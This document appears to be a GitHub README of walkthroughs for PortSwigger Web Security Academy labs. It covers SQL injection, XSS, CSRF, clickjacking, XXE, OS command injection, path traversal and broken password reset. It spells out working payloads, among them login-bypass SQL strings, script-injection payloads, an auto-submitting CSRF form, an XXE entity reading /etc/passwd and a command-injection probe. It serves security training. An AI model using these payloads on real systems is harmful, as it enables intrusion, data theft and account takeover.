Burpsuite Academy

SQLi

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

We can exploit an SQLi in category search input: ' OR 1=1 --

The query will be interpreted as: SELECT * FROM products WHERE category = '' OR 1=1 -- ' AND released = 1

cleaning it up gives: SELECT * FROM products WHERE category = '' OR 1=1

Lab: SQL injection vulnerability allowing login bypass

We can head to /login route, send administrator' -- in the username field. We'll be logged in as administrator.

XSS

Lab: Reflected XSS into HTML context with nothing encoded

Performing a search in the website, we can see that our input is reflected. We try <script>alert(1)</script> as our search payload & we get an XSS.

Lab: Stored XSS into HTML context with nothing encoded

We can go to a post's details page, scroll down & write a new comment. We use <script>alert(1)</script> for the comment body & anything for the rest of the other fields. Posting this comment creates a stored XSS.

This alert will be executed to anyone that opens the post details later on.

Lab: DOM XSS in document.write sink using source location.search

Description:

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

Examining the page's source code:

<script>
    function trackSearch(query) {
        document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
    }
    var query = (new URLSearchParams(window.location.search)).get('search');
    if(query) {
        trackSearch(query);
    }
</script>

Well, that's our XSS. We can insert a "> to break out of the img tag then inject our XSS payload. Full payload: a"><script>alert(1)</script>

CSRF

Lab: CSRF vulnerability with no defenses

Description:

 This lab's email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

After logging in, we can change our own email address:

First things first, we examine the request sent to update our email:

Cleaning it up a little:

For a CSRF, we can create a form with 1 input, email, that's sent to our lab url. Since there's no CSRF tokens, if we host this url in a website & send the url to a victim, this will successfully change their email. (The browser will attach the required cookies for the request)

Our form:

<form id="f" method="POST" action="https://0ab00099034d0c18826d339700bc00bd.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>

With a little JS, we can automatically submit the form:

<script>
    window.f.submit();
</script>

We store our payload in exploit server (Or we can deploy our own), deliver the link to the victim. The whole payload can be autogenerated by burpsuite by right clicking on the request -> engagement tools

Clickjacking

Lab: Basic clickjacking with CSRF token protection

Description:

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website.

To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.

You can log in to your own account using the following credentials: wiener:peter

Simple, we'll create a website with 2 main components:

Our fake website, the one that'll be visible to the victim.
The target website, will be visibility hidden (using opacity), and placed on top of our fake website.

The user will see our fake page however, any clicks will be sent to the invisible iframe.

Our fake website:

Code:

<head>
  <style>
    #target_website {
      position:relative;
      width:400px;
      height:700px;
      opacity:0.5;
      z-index:2;
    }
    #decoy_website {
      position:absolute;
      top: 480px;
      left: 70px;
      width:300px;
      height:400px;
      z-index:1;
    }
  </style>
</head>

<body>
  <div id="decoy_website">
  <p>click</p>
  </div>
  <iframe id="target_website" src="https://0aa000c603d8752282c347e7009b00b5.web-security-academy.net  my-account">
  </iframe>
</body>

XXE Injection:

Lab: Exploiting XXE using external entities to retrieve files

Description:

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

XML input are parsed server-side & if not filtered properly, this can lead to potentially reading local server files.

The HTTP request sent to the server:

POST /product/stock HTTP/2
Host: 0acc00d204844f538296a23f0080007f.web-security-academy.net
Cookie: session=ase0bdiizPQRn5zjRVowBhCCAJYSSt3G
Content-Length: 107
Content-Type: application/xml
Accept: */*

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
    <stockCheck>
        <productId>
            3
        </productId>
        <storeId>
            1
        </storeId>
    </stockCheck>

Sending an invalid product id, reflects it back to us:

So, we would go for injecting /etc/passwd content as our product id, which will obviously cause an error, and result in leaking the content of the file:

Final payload:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
        <!ELEMENT stockCheck ANY>
        <!ENTITY file SYSTEM "file:///etc/passwd">
    ]>
    <stockCheck>
        <productId>
            &file;
        </productId>
        <storeId>
            1
        </storeId>
    </stockCheck>

Command Injection:

Lab: OS command injection, simple case

Description:

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the whoami command to determine the name of the current user

A simple command injection. Request to verify product stock:

POST /product/stock HTTP/2
Host: 0a3800430303e672841aaf7d004d0067.web-security-academy.net
Cookie: session=Qs1qkEkyO7uSBmxrKCOrm8DWeJbgjsXi
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Accept: */*

productId=2&storeId=1

We try enumerating on productId & storeId fields, we can add ;sleep 5; in each field to verify whether or not it's being executed.

storeId results in the response being delayed, so, we switch to whoami & send:

Path Traversal:

Lab: File path traversal, simple case

This lab contains a path traversal vulnerability in the display of product images.

To solve the lab, retrieve the contents of the /etc/passwd file.

Looking at how the images are displayed:

The url is: https://0adc00640432edf18375796b005b0089.web-security-academy.net/image?filename=29.jpg

Well, a jucy spot for path traversal. We try to read /etc/passwd:

Access control and privilege escalation:

Lab: Unprotected admin functionality

Well, the title says it, now, we have to find it. One option is to bruteforce it, another, robots.txt:

Well, there it's. And guess, no password is needed:

Magic.

Broken Authentication:

Lab: Password reset broken logic

Description:

This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.

- Your credentials: wiener:peter
- Victim's username: carlos

We examine the password reset functionality. HTTP Request:

POST /forgot-password HTTP/2
Host: 0a5c005504517f05829148910051005f.web-security-academy.net
Cookie: session=CXcBvvgQnLlnhSTTHNEZsweR1EGyNCU5
Content-Length: 15
Content-Type: application/x-www-form-urlencoded

username=wiener

In the provided attacker email, we get the following email:

Sent:     2024-02-16 17:48:40 +0000
From:     "No reply" <no-reply@0a5c005504517f05829148910051005f.web-security-academy.net>
To:       "wiener" <wiener@exploit-0a080083042a7faa829047d4013c0014.exploit-server.net>
Subject:  Account recovery

Hello!

Please follow the link below to reset your password.

https://0a5c005504517f05829148910051005f.web-security-academy.net/forgot-password?temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda

Thanks,
Support team

Visiting the link & trying to update our password, we get the following request:

POST /forgot-password?temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda HTTP/2
Host: 0a5c005504517f05829148910051005f.web-security-academy.net
Cookie: session=CXcBvvgQnLlnhSTTHNEZsweR1EGyNCU5
Content-Length: 119
Content-Type: application/x-www-form-urlencoded

temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda&username=wiener&new-password-1=123456&new-password-2=123456

We see that our username username is sent in the requet. We try to change it to carlos:

Changed!

Information disclosure:

Lab: Information disclosure in error messages

Description:

This lab's verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.

Opening a product's with an invalid id, we get an internal server error & a stack trace:

At the end, we see that the server is running on Apache Struts 2 2.3.31.

m0ngi / burpsuite-academy Goto Github PK